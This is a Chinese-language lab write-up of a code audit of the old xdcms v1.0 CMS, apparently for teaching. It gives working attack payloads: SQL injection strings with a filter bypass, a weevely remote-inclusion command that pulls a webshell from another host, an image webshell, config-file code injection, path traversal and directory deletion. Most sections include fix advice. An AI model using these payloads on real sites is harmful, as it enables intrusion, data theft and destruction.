对xdcms的一次审计练习,萌新入坑必备
前言
大家好,我是kn0sky,这次整了一个以前的小CMS进行练手,xdcms,版本: v1.0, 这个CMS虽然有点老,但是用来新手入门练手倒是挺不错的,在这里,你可以接触学习到多种sql语句的SQL注入漏洞,多种文件操作漏洞等等……
审计的思路是:
- 先大概浏览一下源代码,看看代码的逻辑大概是怎么运行的,找找关键的文件
- 然后按照功能点进行测试
环境准备:
- windows 7 虚拟机
- xdcms_v1.0源码
- PHPStudy: PHP 5.2.17 + MySQL 5.7.26 (因为这个CMS太老了,选新版本的PHP容易出问题)
废话不多说,直接开始吧
审计开始
通读代码的时候注意了!不要直接拿到源码就去读!
我们需要先在虚拟机的phpstudy上把xdcms部署好,访问虚拟机IP进入xdcms的安装,安装完之后,注意啦,这个时候把安装完成后的源码复制出来,用这个源码进行审计!
因为啊,有些文件啊,是在你安装完CMS之后才会出现的,拿安装之前的CMS去审计,会有些东西找不到的
文件目录如图所示:
到此,我们可以正式开始代码审计啦
大概浏览网站源代码
通过跟读index.php文件(这个CMS的index.php里面文件包含里又是文件包含,一层又一层),跟读到/system/function/fun.inc.php
文件,这里面开始就是网站的功能和内容了
浏览目录,不难发现:网站的主要功能应该都在system目录中了
system目录下:
- function目录里装的都是网站的功能的函数
- libs目录里装的都是各种功能的类
- module目录里装的也是不同页面的功能的函数
uploadfile目录:
- 应该跟文件上传有关
api目录下:
- index文件有个文件包含和两个安全过滤函数
data目录下:
到这里,我们来整理一下现有的信息:
- 数据库采用GBK编码,可能存在宽字节注入
- 网站的主要功能在system目录下
- api目录下的index可能存在文件包含漏洞
- 网站的功能是通过访问index.php的GET参数m,c,f来选择的,m是文件夹,c是文件,f是函数调用,比如后台的m=xdcms
接下来直接开始测试吧
按功能点进行测试
按照正常用户的使用流程先来走一遍看看,这里的注册功能存在IP地址伪造,不过没啥用,就跳过吧,这里的注册页面只有注册,登录两个选择,连个找回密码都没有
注册好用户之后,进入普通用户的后台看看
普通用户会员中心存在多处SQL注入漏洞
这个页面除了我的订单
,资料管理
,修改密码
,信息管理
这四个功能之外,其他功能都用不了
那就一个一个点点看看吧
打开我心爱的小burp
点击资料管理后,请求地址为index.php,请求参数为m=member,f=edit,我们跟着index.php去看看这两个参数是做啥的
跟着跟着就到了/system/function/global.inc.php文件,我们来看一下相关代码:
//接收参数 $m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content"; $c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index"; $f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init"; include MOD_PATH.$m."/".$c.".php"; //调用类 $p=new $c(); //实例化 $p->$f(); //调用方法
大概意思就是文件包含module目录下的member目录,调用edit()方法
public function edit(){ $this->member_info(0); $gourl=$_GET['gourl']; $userid=$_COOKIE['member_userid']; $info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid"); $input=base::load_class('input'); $field=base::load_cache("cache_field_member","_field"); $fields=""; foreach($field as $value){ $fields.="<tr>n"; $fields.="<td align="right" valign="top"><span class="tdl">".$value['name'].":</span></td>"; $fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>n"; $fields.="</tr>n"; } assign('gourl',$gourl); assign('member',$info); assign("fields",$fields); template("member/edit"); }
这里的变量userid从cookie获取值没有经过过滤就带入到sql的查询语句了,还是int型的注入:
构造cookie中的member_userid为4 and 1=2
,可以发现这里的用户信息都消失了
由此可判断验证这里存在sql注入漏洞
也可以丢到sqlmap里跑一下,开了一堆工具,电脑太卡了我就不演示了
除了这里存在SQL注入漏洞,这个界面还有几个地方也存在同样的SQL注入漏洞,产生漏洞的原因都是因为没有过滤从GET请求中获得的member_userid的值
分别是同个功能文件下的edit_save()
、password_save()
到这里,会员中心已经测试完成了,继续下一个功能
修复建议:
- 使用intval对userid参数进行过滤
网站API存在文件包含漏洞
普通用户能点的功能真没几个,看看API目录的index.php还真会有收获
源码如下:
从GET请求中获得两个参数c和f,c是要调用类的php文件名,下面直接就用c变量带入文件包含了
如果是调用本地php文件,直接输入目录加文件名即可直接调用,如果调用的文件后缀不是php:可以进行00截断
如果php配置文件打开GPC(magic_quotes_gpc
)的话,用00截断会不成功(00截断的条件:PHP版本小于5.3,GPC没有开启)
如果目标的php配置开启了allow_url_include
那我们就能进行远程文件包含,各种马,安排
我图个简单,用weevely生成了一个,然后远程文件包含webshell
kn0sky@audit-Lab ~/ $ weevely "http://127.0.0.1:28000/api/index.php?c=http://192.168.2.222/wee.php?" knkn0 /home/kn0sky/App/weevely3/core/sessions.py:219: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. sessiondb = yaml.load(open(dbpath, 'r').read()) [+] weevely 3.7.0 [+] Target: 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi [+] Session: /home/kn0sky/.weevely/sessions/127.0.0.1/index_0.session [+] Shell: System shell [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $ :system_info [-][channel] The remote script execution triggers an error 500, check script and payload integrity [-][channel] The remote script execution triggers an error 500, check script and payload integrity +--------------------+-----------------------------------+ | client_ip | 192.168.77.2 | | max_execution_time | 300 | | script | /api/index.php | | open_basedir | | | hostname | | | php_self | /api/index.php | | script_folder | http://192.168.2.222 | | uname | Windows NT K0-PC 6.1 build 7600 | | pwd | C:phpstudy_proWWWxdcms.comapi | | safe_mode | False | | php_version | 5.2.17 | | dir_sep | | | os | Windows NT | | whoami | | | document_root | C:/phpstudy_pro/WWW/xdcms.com | +--------------------+-----------------------------------+ 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $
要是不能远程文件包含,如果有文件上传的地方,可以从这里本地文件包含个图片马去getshell
修复建议:
- 可能的话,不要开启allow_url_include
- 尽量避免目录跳转,过滤
../
接下来,该用管理员登录网站了
管理员后台上传图片+本地文件包含组合漏洞
后台地址:http://<IP>/index.php?m=xdcms&c=login
默认管理员账号密码:xdcms:xdcms
管理员后台在系统设置,网站配置的基本信息那里,可以上传网站logo
这里的上传有个后端的图片后缀名检测:
//判断上传是文件还是图片 $type=isset($_GET['type'])?(int)$_GET['type']:0; $size=500000; $folder='image'; $allowed=array( 'gif', 'jpg', 'jpeg', 'png' ); 图片文件名检测: if ( $this->make_script_safe ){ if ( preg_match( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i"$FILE_NAME ) ){ $FILE_TYPE = 'text/plain'; $this->file_extension = 'txt'; $this->parsed_file_name = preg_replace( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i", "$2", $this->parsed_file_name ); $renamed = 1; } } 图片文件类型检测: if ( $this->image_check ){ $img_attributes = @getimagesize( $this->saved_upload_name );
然后还有个文件名修改
这里可以用GIF89A绕过上传png后缀的php脚本
可能是这个cms实在太老了,源码拿来直接运行还是出现了一些问题
上传完图片之后,应该是要回显上传的位置的,可能是出了什么问题,前端这一块我不太懂
去看服务器上传文件的文件夹:
文件确实上传成功了
位置是:/uploadfile/image/20191114/201911141058530.png
这个图片的内容是:
GIF89A
<?PHP phpinfo();?>
我们去结合刚才的本地文件包含试一试
利用成功
这里可以利用上传图片马来获取shell
修复建议:
- 上传的对图片进行二次渲染或压缩处理
管理员后台网站信息设置处存在二次漏洞
刚看到这里的时候,这里的网站地址:http://127.0.0.5
我很好奇是干嘛的,因为它现在写的是127.0.0.5而网站的ip与这个无关,去翻翻源码看看这玩意是干嘛的
if($tag=='config'){ //判断url是否以/结尾 $urlnum=strlen($info['siteurl'])-1; if(substr($info['siteurl'],$urlnum,1)!="/"){ showmsg(C("update_url_error"),"-1"); }//end $cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件 $cmsurl="<?phpn define('CMS_URL','".$info['siteurl']."');n define('TP_FOLDER','".$info['template']."');n define('TP_CACHE',".$info['caching'].");n?>"; creat_inc($cms,$cmsurl);
点击保存后,网站获取siteurl没有经过过滤,就拼接到cmsurl字符串变量里去了,然后根据这个cmsurl生成配置文件
配置文件:
<?php define('CMS_URL','http://127.0.0.5/'); define('TP_FOLDER','dccms'); define('TP_CACHE',false); ?>
这里我们可以构造siteurl:
hello');?><?php phpinfo();?>
点击保存后,我们去查看一下该配置文件:
<?php define('CMS_URL','hello');?><?php phpinfo();?>'; define('TP_FOLDER','dccms'); define('TP_CACHE',false); ?>
这里的配置文件内容生成外部参数可控,导致了可直接getshell
访问该配置文件页面:http://ip/system/xdcms.inc.php
修复建议:
- 不要用这种方式直接修改配置文件
管理员后台模板功能处存在任意文件读取漏洞
后台看了看好像也没啥问题了,通过查看这个CMS相关文章得知,这个CMS有的功能有,但是不再后台页面里
例如/system/module/xdcms/template.php文件的edit功能
public function edit(){ $filename=$_GET['file']; $file=TP_PATH.TP_FOLDER."/".$filename; if(!$fp=@fopen($file,'r+')){ showmsg(C('open_template_error'),'-1'); } flock($fp,LOCK_EX); $str=@fread($fp,filesize($file)); flock($fp,LOCK_UN); fclose($fp); assign('filename',$filename); assign('content',$str); template('template_edit','admin'); }
构造如下url即可查看到指定文件
http://IP/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
当然,这需要管理员身份登录才能进行
修复建议:
- 限制目录跳转
管理员后台栏目管理存在SQL注入漏洞
果然还是直接去读源码比较方便
这里的源码如下:
public function add_save(){ $config=base::load_cache("cache_set_config","_config"); $catname=$_POST['catname']; $catdir=$_POST['catdir']; $thumb=$_POST['thumb']; $is_link=intval($_POST['is_link']); $url=safe_replace($_POST['url']); $model=$_POST['model']; $sort=intval($_POST['sort']); $is_show=intval($_POST['is_show']); $parentid=intval($_POST['parentid']); $is_target=intval($_POST['is_target']); $is_html=intval($_POST['is_html']); $template_cate=$_POST['template_cate']; $template_list=$_POST['template_list']; $template_show=$_POST['template_show']; $seo_title=$_POST['seo_title']; $seo_key=$_POST['seo_key']; $seo_des=$_POST['seo_des']; $modelid=modelid($model); if(empty($catname)||empty($catdir)||empty($model)){ showmsg(C('material_not_complete'),'-1'); } if(!check_str($catdir,'/^[a-z0-9][a-z0-9]*$/')){ showmsg(C('catdir').C('numbers_and_letters'),'-1'); } if($is_html==1){ if($config['createhtml']!=1){ showmsg(C('config_html_error'),'index.php?m=xdcms&c=setting'); } } $nums=$this->mysql->db_num("category","catdir='".$catdir."'"); if($nums>0){ showmsg(C('catdir_exist'),'-1'); } $sql="insert into ".DB_PRE."category (catname,catdir,thumb,is_link,url,model,modelid,sort,is_show,is_target,is_html,template_cate,template_list,parentid,template_show,seo_title,seo_key,seo_des) values ('".$catname."','".$catdir."','".$thumb."','".$is_link."','".$url."','".$model."','".$modelid."','".$sort."','".$is_show."','".$is_target."','".$is_html."','".$template_cate."','".$template_list."','".$parentid."','".$template_show."','".$seo_title."','".$seo_key."','".$seo_des."')"; $this->mysql->query($sql); $catid=$this->mysql->insert_id(); if($is_link==0){//生成url $ob_url=base::load_class("url"); $url=$ob_url->caturl($catid,$catdir,$is_html); $this->mysql->db_update("category","`url`='".$url."'","`catid`=".$catid); } $this->category_cache(); showmsg(C('add_success'),'-1'); }
这里有一大堆参数没有任何过滤就直接带入sql语句进行插入了,此处可进行SQL注入
在参数中加个单引号之后提交:
报错啦!直接报错注入即可
构造如下payload进行报错注入:
seo_des=haha' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) or '
修复建议:
- 对输入的参数进行过滤
管理员后台内容管理处存在SQL注入漏洞
public function add_save(){ $title=safe_html($_POST['title']); $commend=intval($_POST['commend']); $username=safe_html($_POST['username']); $thumb=$_POST['thumb']; $keywords=safe_html($_POST['keywords']); $description=safe_html($_POST['description']); $inputtime=datetime(); $updatetime=strtotime($_POST['updatetime']); $url=$_POST['url']; $catid=intval($_POST['catid']); $userid=$_SESSION['admin_id']; $fields=$_POST['fields']; $style=$_POST['title_color']." ".$_POST['title_weight']; //此处省略验证数据存在的部分 //添加content $sql="insert into ".DB_PRE."content(title,commend,username,thumb,keywords,description,inputtime,updatetime,url,catid,userid,hits,style) values('{$title}','{$commend}','{$username}','{$thumb}','{$keywords}','{$description}','{$inputtime}','{$updatetime}','{$url}','{$catid}','{$userid}',0,'{$style}')"; $this->mysql->query($sql); $last_id=$this->mysql->insert_id();
依然是一堆参数从POST提交上来没有经过任何过滤就进行了INSERT INTO操作
构造title:
AASD' or (select updatexml(1,(concat(0x7e,(select version()),0x7e)),1)) or'
即可进行报错注入
修复建议:
- 对输入的参数进行过滤
管理员后台数据库管理页面存在任意目录删除漏洞
地址为:http://ip/index.php?m=xdcms&c=data&f=delete&file=
这个功能原本是删除备份文件夹的,但是可以通过../进行目录跳转来删除任意文件夹
源码如下:
public function delete(){ $file=trim($_GET["file"]); $dir=DATA_PATH.'backup/'.$file; if(is_dir($dir)){ //删除文件夹中的文件 if (false != ($handle = opendir ( $dir ))) { while ( false !== ($file = readdir ( $handle )) ) { if ($file != "." && $file != ".."&&strpos($file,".")) { @unlink($dir."/".$file); } } closedir ( $handle ); } @rmdir($dir);//删除目录 } showmsg(C('success'),'-1'); }
通过GET参数file获取目录名,然后进行判断是否是目录,如果是,则删除目录下的文件再删除目录,如果不是,直接返回 success
我们在网站主目录下创建个文件夹123:
然后点击删除操作之后,在Burp中拦截修改:
发送后,我们再来看看网站根目录:
刚刚创建的123目录,没有啦!
修复建议:
- 禁止目录跳转,过滤
../
管理员后台关键词管理页面存在SQL注入漏洞
这里又是一个后台管理页面访问不到的地方,通过输入url:http://ip/index.php?m=xdcms&c=keywords&f=edit&id=1
才能访问
从这里开始,终于遇到了带有安全过滤防御机制的漏洞
我们先来看源码:
public function editsave(){ $id=isset($_POST['id'])?intval($_POST['id']):0; $title=safe_html($_POST['title']); $url=safe_html($_POST['url']); if(empty($title)||empty($url)||empty($id)){ showmsg(C('material_not_complete'),'-1'); } $this->mysql->db_update('keywords',"`title`='".$title."',`url`='".$url."'",'`id`='.$id); $this->keywords_cache(); showmsg(C('update_success'),'-1'); }
这里的title参数和url参数被safe_html过滤了,我们来看看这个过滤是怎么回事:
//安全过滤函数 function safe_html($str){ if(empty($str)){return;} $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file |outfile/','',$str); return htmlspecialchars($str); }
这里进行了黑名单过滤,过滤sql注入常用关键字,将关键字替换为空,这显然很不靠谱嘛
通过双写即可绕过:
Burp拦截,构造payload,发送请求:
url=http://' or (sselectelect updatexml(2,concat(0x7e,(version())),0)) or '
成功绕过安全过滤,成功注入!
修复建议:
- 对输入的参数进行过滤
后台联动菜单管理处存在SQL注入漏洞
源码如下:
public function add_save(){ $name=$_POST['name']; $parentid=isset($_POST['parentid'])?intval($_POST['parentid']):0; if(empty($name)){ showmsg(C('material_not_complete'),'-1'); } if($parentid!=0){ $keyid=$this->get_parentid($parentid); }else{ $keyid=0; } $sql="insert into ".DB_PRE."linkage (name,parentid,keyid) values ('".$name."','".$parentid."','".$keyid."')"; $this->mysql->query($sql); showmsg(C('add_success'),'-1'); }
无过滤获取参数name,直接带入insert into语句中进行插入操作
构造payload如下:
name=lalala' or (select updatexml(2,concat(0x7e,(version())),0)) or '
即可报错注入
这个CMS的SQL注入漏洞可谓是多到不行,这里头还有大量漏洞出现原因相同的SQL注入漏洞
这里就不多啰嗦了,
练习到这里,想必对UPDATE,INSERT INTO,SELECT三种SQL语句的SQL注入有了一定掌握,接下来看点不一样的
网站安装页面存在全局变量覆盖漏洞
在网站的/install/index.php中开头有如下代码
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v); } function _runmagicquotes(&$svar){ if(!get_magic_quotes_gpc()){ if( is_array($svar) ){ foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v); }else{ $svar = addslashes($svar); } } return $svar; } if(file_exists($insLockfile)){ exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!"); }
遍历传入的参数对数组进行赋值
然后传入$insLockfile来判断程序是否安装
如果我们在访问这个页面的时候直接在GET参数中加上?insLockfile=xyz
(反正是一个不存在的文件名就行)则可直接进入安装
修复建议:
- 通过其他方式来检测系统是否已安装
总结
该CMS没有使用框架,非常适合新手入门练习使用,当然,存在的漏洞不仅仅有这些,有兴趣的童鞋可以接着去探索,如果你觉得我文章中有什么需要进行改进的地方,欢迎随时与我联系。